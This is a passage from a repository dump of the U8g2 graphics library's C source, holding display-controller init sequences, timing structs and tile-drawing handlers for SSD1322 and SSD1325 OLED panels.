/* linear grayscale */\n  U8X8_CA(0xb1, 0xe2),\t\t\t/* Phase 1 (Reset) & Phase 2 (Pre-Charge) Period Adjustment */  \n  U8X8_CAA(0xd1, 0x082|0x020, 0x020),\t/* Display Enhancement B */  \n  U8X8_CA(0xbb, 0x1f),\t\t\t/* precharge  voltage */  \n  U8X8_CA(0xb6, 0x08),\t\t\t/* precharge  period */  \n  U8X8_CA(0xbe, 0x07),\t\t\t/* vcomh */  \n  U8X8_C(0xa6),\t\t                /* normal display */\n  U8X8_C(0xa9),\t\t                /* exit partial display */\n\n\n  U8X8_DLY(1),\t\t\t\t\t/* delay 2ms */\n\n  \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nuint8_t u8x8_d_ssd1322_nhd_256x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1322_256x64_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1322_256x64_init_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1322_256x64_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1322_256x64_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\n      break;\n    \n    default:\n      return u8x8_d_ssd1322_common(u8x8, msg, arg_int, arg_ptr);\n  }\n  return 1;\n}\n\n/*=========================================================*/\n/*\nhttps://github.com/olikraus/u8g2/issues/2092\n*/\n\n\nstatic const u8x8_display_info_t u8x8_ssd1322_240x128_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 10,\n  /* reset_pulse_width_ms = */ 100, \t/* SSD1322: 2 us */\n  /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */\n  /* sda_setup_time_ns = */ 50,\t\t/* SSD1322: 15ns, but cycle time is 100ns, so use 100/2 */\n  /* sck_pulse_width_ns = */ 50,\t/* SSD1322: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */\n  /* sck_clock_hz = */ 10000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns, increased to 8MHz (issue 215), 10 MHz (issue 301) */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 10,\n  /* write_pulse_width_ns = */ 150,\t/* SSD1322: cycle time is 300ns, so use 300/2 = 150 */\n  /* tile_width = */ 30,\t\t/* 256 pixel, so we require 32 bytes for this */\n  /* tile_height = */ 16,\n  /* default_x_offset = */ 24,\t/* this is the byte offset (there are two pixel per byte with 4 bit per pixel) */\n  /* flipmode_x_offset = */ 0x000,\n  /* pixel_width = */ 240,\n  /* pixel_height = */ 128\n};\n\n\nstatic const uint8_t u8x8_d_ssd1322_240x128_init_seq[] = {\n    \n  U8X8_DLY(1),\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_DLY(1),\n  \n  U8X8_CA(0xfd, 0x12),            \t/* unlock */\n  U8X8_C(0xae),\t\t                /* display off */\n  U8X8_CA(0xb3, 0x91),\t\t\t/* set display clock divide ratio/oscillator frequency (set clock as 80 frames/sec)  */  \n  U8X8_CA(0xca, 0x7f),\t\t\t/* multiplex ratio 1/128 Duty (0x0F~0x7F) */  \n  U8X8_CA(0xa2, 0x00),\t\t\t/* display offset, shift mapping ram counter */  \n  U8X8_CA(0xa1, 0x00),\t\t\t/* display start line */  \n  //U8X8_CAA(0xa0, 0x14, 0x11),\t/* Set Re-Map / Dual COM Line Mode */  \n  U8X8_CAA(0xa0, 0x36, 0x011),\t/* Set Re-Map / Dual COM Line Mode */  \n  U8X8_CA(0xab, 0x01),\t\t\t/* Enable Internal VDD Regulator */  \n  U8X8_CAA(0xb4, 0xa0, 0x005|0x0fd),\t/* Display Enhancement A */  \n  U8X8_CA(0xc1, 0x9f),\t\t\t/* contrast */  \n  U8X8_CA(0xc7, 0x0f),\t\t\t/* Set Scale Factor of Segment Output Current Control */  \n  U8X8_C(0xb9),\t\t                /* linear grayscale */\n  U8X8_CA(0xb1, 0xe2),\t\t\t/* Phase 1 (Reset) & Phase 2 (Pre-Charge) Period Adjustment */  \n  U8X8_CAA(0xd1, 0x082|0x020, 0x020),\t/* Display Enhancement B */  \n  U8X8_CA(0xbb, 0x1f),\t\t\t/* precharge  voltage */  \n  U8X8_CA(0xb6, 0x08),\t\t\t/* precharge  period */  \n  U8X8_CA(0xbe, 0x07),\t\t\t/* vcomh */  \n  U8X8_C(0xa6),\t\t                /* normal display */\n  U8X8_C(0xa9),\t\t                /* exit partial display */\n\n\n  U8X8_DLY(1),\t\t\t\t\t/* delay 2ms */\n\n  \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nuint8_t u8x8_d_ssd1322_240x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1322_240x128_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1322_240x128_init_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1322_256x64_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1322_256x64_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\n      break;\n    \n    default:\n      return u8x8_d_ssd1322_common(u8x8, msg, arg_int, arg_ptr);\n  }\n  return 1;\n}\n\n/*=========================================================*/\n/* \n  NHD-2.7-12864WDW3-M \n  http://www.newhavendisplay.com/nhd2712864wdw3m-p-9546.html\n  http://www.newhavendisplay.com/specs/NHD-2.7-12864WDW3-M.pdf\n\n  It looks like that only every second pixel is connected to the OLED\n*/\n\nuint8_t u8x8_d_ssd1322_common2(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x; \n  uint8_t y, c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    /* U8X8_MSG_DISPLAY_SETUP_MEMORY is handled by the calling function */\n    /*\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1322_256x64_init_seq);\n      break;\n    */\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1322_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1322_powersave1_seq);\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x0C1 );\n      u8x8_cad_SendArg(u8x8, arg_int );\t/* ssd1322 has range from 0 to 255 */\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;    \n      x *= 2;\t\t// only every 4th col can be addressed\n      x *= 2;\t\t// only every second pixel is used in the 128x64 NHD OLED \n    \n      x += u8x8->x_offset;\n    \n      y = (((u8x8_tile_t *)arg_ptr)->y_pos);\n      y *= 8;\n          \n      u8x8_cad_SendCmd(u8x8, 0x075 );\t/* set row address, moved out of the loop (issue 302) */\n      u8x8_cad_SendArg(u8x8, y);\n      u8x8_cad_SendArg(u8x8, y+7);\n      \n      do\n      {\n\tc = ((u8x8_tile_t *)arg_ptr)->cnt;\n\tptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n\n\tdo\n\t{\n\t  u8x8_cad_SendCmd(u8x8, 0x015 );\t/* set column address */\n\t  u8x8_cad_SendArg(u8x8, x );\t/* start */\n\t  u8x8_cad_SendArg(u8x8, x+1 );\t/* end */\n\t  u8x8_cad_SendCmd(u8x8, 0x05c );\t/* write to ram */\t  \n\t  u8x8_cad_SendData(u8x8, 32, u8x8_ssd1322_4to32(u8x8, ptr));\t  \n\t  ptr += 4;\n\t  x += 2;\n\t  \n\t  u8x8_cad_SendCmd(u8x8, 0x015 );\t/* set column address */\n\t  u8x8_cad_SendArg(u8x8, x );\t/* start */\n\t  u8x8_cad_SendArg(u8x8, x+1 );\t/* end */\n\t  u8x8_cad_SendCmd(u8x8, 0x05c );\t/* write to ram */\t  \n\t  u8x8_cad_SendData(u8x8, 32, u8x8_ssd1322_4to32(u8x8, ptr));\t  \n\t  ptr += 4;\n\t  x += 2;\n\t  \n\t  c--;\n\t} while( c > 0 );\n\t\n\t//x += 2;\n\targ_int--;\n      } while( arg_int > 0 );\n      \n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n\nstatic const uint8_t u8x8_d_ssd1322_128x64_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_CAA(0x0a0, 0x016, 0x011),\t\t/* remap */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1322_128x64_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_CAA(0x0a0, 0x004, 0x011),\t\t/* remap */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const u8x8_display_info_t u8x8_ssd1322_128x64_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 10,\n  /* reset_pulse_width_ms = */ 100, \t/* SSD1322: 2 us */\n  /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */\n  /* sda_setup_time_ns = */ 50,\t\t/* SSD1322: 15ns, but cycle time is 100ns, so use 100/2 */\n  /* sck_pulse_width_ns = */ 50,\t/* SSD1322: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */\n  /* sck_clock_hz = */ 10000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns, increased to 8MHz (issue 215), 10 MHz (issue 301) */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 10,\n  /* write_pulse_width_ns = */ 150,\t/* SSD1322: cycle time is 300ns, so use 300/2 = 150 */\n  /* tile_width = */ 16,\t\t/* 128 pixel */\n  /* tile_height = */ 8,\n  /* default_x_offset = */ 28,\t/* this is the byte offset (there are two pixel per byte with 4 bit per pixel) */\n  /* flipmode_x_offset = */ 28,\n  /* pixel_width = */ 128,\n  /* pixel_height = */ 64\n};\n\n\nstatic const uint8_t u8x8_d_ssd1322_128x64_init_seq[] = {\n    \n  U8X8_DLY(1),\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_DLY(1),\n  \n  U8X8_CA(0xfd, 0x12),            \t/* unlock */\n  U8X8_C(0xae),\t\t                /* display off */\n  U8X8_CA(0xb3, 0x91),\t\t\t/* set display clock divide ratio/oscillator frequency (set clock as 80 frames/sec)  */  \n  U8X8_CA(0xca, 0x3f),\t\t\t/* multiplex ratio 1/64 Duty (0x0F~0x3F) */  \n  U8X8_CA(0xa2, 0x00),\t\t\t/* display offset, shift mapping ram counter */  \n\n  U8X8_CA(0xa1, 0x00),\t\t\t/* display start line */  \n  U8X8_CA(0xab, 0x01),\t\t\t/* Enable Internal VDD Regulator */  \n/*\n\tA[0]=0b, Horizontal address increment [reset]    ***\n\tA[0]=1b, Vertical address increment\n\t\n\tA[1]=0b, Disable Column Address Re-map [reset]\n\tA[1]=1b, Enable Column Address Re-map\t\t***\n\t\n\tA[2]=0b, Disable Nibble Re-map [reset]\n\tA[2]=1b, Enable Nibble Re-map\t\t\t***\n\t\n\tA[4]=0b, Scan from COM0 to COM[N –1] [reset]\t\n\tA[4]=1b, Scan from COM[N-1] to COM0, where N is the\t***\n\t\n\tMultiplex ratio\n\tA[5]=0b, Disable COM Split Odd Even [reset]\t***\n\tA[5]=1b, Enable COM Split Odd Even\n\t\n\tB[4], Enable / disable Dual COM Line mode\n\t0b, Disable Dual COM mode [reset]\n\t1b, Enable Dual COM mode (MUX ≤ 63)\n\t\n\t0x16 = 00010110\n*/\n  //U8X8_CAA(0xa0, 0x14, 0x11),\t/* Set Re-Map / Dual COM Line Mode */  \n  //U8X8_CAA(0xa0, 0x06, 0x011),\t/* Set Re-Map / Dual COM Line Mode */  \n  U8X8_CAA(0xa0, 0x16, 0x011),\t/* Set Re-Map / Dual COM Line Mode (NHD-2.7-12864WDW3-M datasheet) */  \n  U8X8_CA(0xc7, 0x0f),\t\t\t/* Set Scale Factor of Segment Output Current Control */  \n  U8X8_CA(0xc1, 0x9f),\t\t\t/* contrast */  \n  //U8X8_CA(0xb1, 0xe2),\t\t\t/* Phase 1 (Reset) & Phase 2 (Pre-Charge) Period Adjustment */  \n  U8X8_CA(0xb1, 0xf2),\t\t\t/* Phase 1 (Reset) & Phase 2 (Pre-Charge) Period Adjustment (NHD-2.7-12864WDW3-M datasheet) */  \n  U8X8_CA(0xbb, 0x1f),\t\t\t/* precharge  voltage */    \n  //U8X8_CAA(0xb4, 0xa0, 0x005|0x0fd),\t/* Display Enhancement A */  \n  U8X8_CAA(0xb4, 0xa0, 0x0fd),\t/* Display Enhancement A (NHD-2.7-12864WDW3-M datasheet) */  \n  U8X8_CA(0xbe, 0x04),\t\t\t/* vcomh (NHD-2.7-12864WDW3-M datasheet) */  \n  U8X8_C(0xb9),\t\t                /* linear grayscale */\n  //U8X8_CAA(0xd1, 0x082|0x020, 0x020),\t/* Display Enhancement B */  \n  //U8X8_CA(0xb6, 0x08),\t\t\t/* precharge  period */  \n  U8X8_C(0xa6),\t\t                /* normal display */\n  U8X8_C(0xa9),\t\t                /* exit partial display */\n\n\n  U8X8_DLY(1),\t\t\t\t\t/* delay 2ms */\n\n  \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nuint8_t u8x8_d_ssd1322_nhd_128x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1322_128x64_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1322_128x64_init_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1322_128x64_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1322_128x64_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\n      break;\n    \n    default:\n      return u8x8_d_ssd1322_common2(u8x8, msg, arg_int, arg_ptr);\n  }\n  return 1;\n}\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_ssd1325.c",
    "content": "/*\n\n  u8x8_d_ssd1325.c\n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n  SSD1325:\n    128 x 80, 16 Gray Scale Dot Matrix\n    \n  SSD0323: Identical to SSD1325, issue 720\n    \n  \n*/\n\n\n#include \"u8x8.h\"\n\n\n\nstatic const uint8_t u8x8_d_ssd1325_128x64_nhd_powersave0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0af),\t\t                /* display on */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1325_128x64_nhd_powersave1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1325_128x64_nhd_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_CA(0x0a0, 0x052),\t\t/* remap */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1325_128x64_nhd_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_CA(0x0a0, 0x041),\t\t/* remap */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\n/*\n  input:\n    one tile (8 Bytes)\n  output:\n    Tile for SSD1325 (32 Bytes)\n*/\n\nstatic uint8_t u8x8_ssd1325_8to32_dest_buf[32];\n\nstatic uint8_t *u8x8_ssd1325_8to32(U8X8_UNUSED u8x8_t *u8x8, uint8_t *ptr)\n{\n  uint8_t v;\n  uint8_t a,b;\n  uint8_t i, j;\n  uint8_t *dest;\n  \n  for( j = 0; j < 4; j++ )\n  {\n    dest = u8x8_ssd1325_8to32_dest_buf;\n    dest += j;\n    a =*ptr;\n    ptr++;\n    b = *ptr;\n    ptr++;\n    for( i = 0; i < 8; i++ )\n    {\n      v = 0;\n      if ( a&1 ) v |= 0xf0;\n      if ( b&1 ) v |= 0x0f;\n      *dest = v;\n      dest+=4;\n      a >>= 1;\n      b >>= 1;\n    }\n  }\n  \n  return u8x8_ssd1325_8to32_dest_buf;\n}\n\n\n/*===================================================================*/\n\nstatic uint8_t u8x8_d_ssd1325_128x64_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, y, c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    /* handled by the calling function\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1325_128x64_nhd_display_info);\n      break;\n    */\n    \n    /* handled by the calling function\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1325_128x64_nhd_init_seq);    \n      break;\n    */\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1325_128x64_nhd_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1325_128x64_nhd_powersave1_seq);\n      break;\n      \n    /* handled by the calling function\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1325_128x64_nhd_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1325_128x64_nhd_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\n      break;\n      */\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x081 );\n      u8x8_cad_SendArg(u8x8, arg_int );\t/* ssd1325 has range from 0 to 255 */\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;    \n      x *= 4;\n    \n      y = (((u8x8_tile_t *)arg_ptr)->y_pos);\n      y *= 8;\n      y += u8x8->x_offset;\t\t/* x_offset is used as y offset for the SSD1325 */\n    \n\n      u8x8_cad_SendCmd(u8x8, 0x075 );\t/* set row address */\n      u8x8_cad_SendArg(u8x8, y);\n      u8x8_cad_SendArg(u8x8, y+7);\n    \n      do\n      {\n\tc = ((u8x8_tile_t *)arg_ptr)->cnt;\n\tptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n\n\tdo\n\t{\n\t  if ( ptr[0] | ptr[1] | ptr[2] | ptr[3] | ptr[4] | ptr[5] | ptr[6] | ptr[7] )\n\t  {\n\t    /* draw the tile if pattern is not zero for all bytes */\n\t    u8x8_cad_SendCmd(u8x8, 0x015 );\t/* set column address */\n\t    u8x8_cad_SendArg(u8x8, x );\t/* start */\n\t    u8x8_cad_SendArg(u8x8, x+3 );\t/* end */\n\n\t    \n\t    \n\t    u8x8_cad_SendData(u8x8, 32, u8x8_ssd1325_8to32(u8x8, ptr));\n\t  }\n\t  else\n\t  {\n\t    /* tile is empty, use the graphics acceleration command */\n\t    u8x8_cad_SendCmd(u8x8, 0x024 );\t// draw rectangle\n\t    u8x8_cad_SendArg(u8x8, x );\t\n\t    u8x8_cad_SendArg(u8x8, y );\t\n\t    u8x8_cad_SendArg(u8x8, x+3 );\t\n\t    u8x8_cad_SendArg(u8x8, y+7 );\t\n\t    u8x8_cad_SendArg(u8x8, 0 );\t// clear\t    \n\t  }\n\t  ptr += 8;\n\t  x += 4;\n\t  c--;\n\t} while( c > 0 );\n\t\n\t//x += 4;\n\targ_int--;\n      } while( arg_int > 0 );\n\n      u8x8_cad_SendCmd(u8x8, 0xe3); // no-op needs to be sent after last byte before cs is toggled.\n      \n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n/*===================================================================*/\n\n/* http://www.newhavendisplay.com/app_notes/OLED_2_7_12864.txt */\nstatic const uint8_t u8x8_d_ssd1325_128x64_nhd_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  \n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_CA(0x0b3, 0x091),\t\t/* set display clock divide ratio/oscillator frequency (set clock as 135 frames/sec) */\t\t\t\n  U8X8_CA(0x0a8, 0x03f),\t\t/* multiplex ratio: 0x03f * 1/64 duty */\n  U8X8_CA(0x0a2, 0x04c),\t\t/* display offset, shift mapping ram counter */\n  U8X8_CA(0x0a1, 0x000),\t\t/* display start line */\n  U8X8_CA(0x0ad, 0x002),\t\t/* master configuration: disable embedded DC-DC, enable internal VCOMH */\n  U8X8_CA(0x0a0, 0x052),\t\t/* remap configuration, horizontal address increment (bit 2 = 0), enable nibble remap (upper nibble is left, bit 1 = 1) */\n  U8X8_C(0x086),\t\t\t\t/* full current range (0x084, 0x085, 0x086) */\n  U8X8_C(0x0b8),\t\t\t\t/* set gray scale table */\n    U8X8_A(0x001),\t\t\t\t/* */\n    U8X8_A(0x011),\t\t\t\t/* */\n    U8X8_A(0x022),\t\t\t\t/* */\n    U8X8_A(0x032),\t\t\t\t/* */\n    U8X8_A(0x043),\t\t\t\t/* */\n    U8X8_A(0x054),\t\t\t\t/* */\n    U8X8_A(0x065),\t\t\t\t/* */\n    U8X8_A(0x076),\t\t\t\t/* */\n    \n  U8X8_CA(0x081, 0x070),\t\t/* contrast, brightness, 0..128, Newhaven: 0x040 */\n  U8X8_CA(0x0b2, 0x051),\t\t/* frame frequency (row period) */\n  U8X8_CA(0x0b1, 0x055),                    /* phase length */\n  U8X8_CA(0x0bc, 0x010),                    /* pre-charge voltage level */\n  U8X8_CA(0x0b4, 0x002),                    /* set pre-charge compensation level (not documented in the SDD1325 datasheet, but used in the NHD init seq.) */\n  U8X8_CA(0x0b0, 0x028),                    /* enable pre-charge compensation (not documented in the SDD1325 datasheet, but used in the NHD init seq.) */\n  U8X8_CA(0x0be, 0x01c),                     /* VCOMH voltage */\n  U8X8_CA(0x0bf, 0x002|0x00d),           /* VSL voltage level (not documented in the SDD1325 datasheet, but used in the NHD init seq.) */\n  U8X8_C(0x0a4),\t\t\t\t/* normal display mode */\n    \n  U8X8_CA(0x023, 0x003),\t\t/* graphics accelleration: fill pixel */\n    \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const u8x8_display_info_t u8x8_nhd_ssd1325_128x64_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 10,\n  /* reset_pulse_width_ms = */ 100, \t\n  /* post_reset_wait_ms = */ 100, \t\t/**/\n  /* sda_setup_time_ns = */ 100,\t\t/* SSD1325  */\n  /* sck_pulse_width_ns = */ 100,\t/* SSD1325  */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 40,\n  /* write_pulse_width_ns = */ 60,\t/* SSD1325 */\n  /* tile_width = */ 16,\n  /* tile_height = */ 8,\n  /* default_x_offset = */ 0,\t\t/* x_offset is used as y offset for the SSD1325 */\n  /* flipmode_x_offset = */ 8,\t\t/* x_offset is used as y offset for the SSD1325 */\n  /* pixel_width = */ 128,\n  /* pixel_height = */ 64\n};\n\nuint8_t u8x8_d_ssd1325_nhd_128x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n    if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY )\n    {\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_nhd_ssd1325_128x64_display_info);\n      return 1;\n    }\n    else if ( msg == U8X8_MSG_DISPLAY_INIT )\n    {\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1325_128x64_nhd_init_seq);    \n      return 1;\n    }    \n    else if ( msg == U8X8_MSG_DISPLAY_SET_FLIP_MODE )\n    {\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1325_128x64_nhd_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1325_128x64_nhd_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\n      return 1;\n    }\n    return u8x8_d_ssd1325_128x64_generic(u8x8, msg, arg_int, arg_ptr);\n}\n\n/*===================================================================*/\n/* OSRAM Pictiva 128x64 OLED */\n/* https://github.com/olikraus/u8g2/issues/720 */\n\nstatic const uint8_t 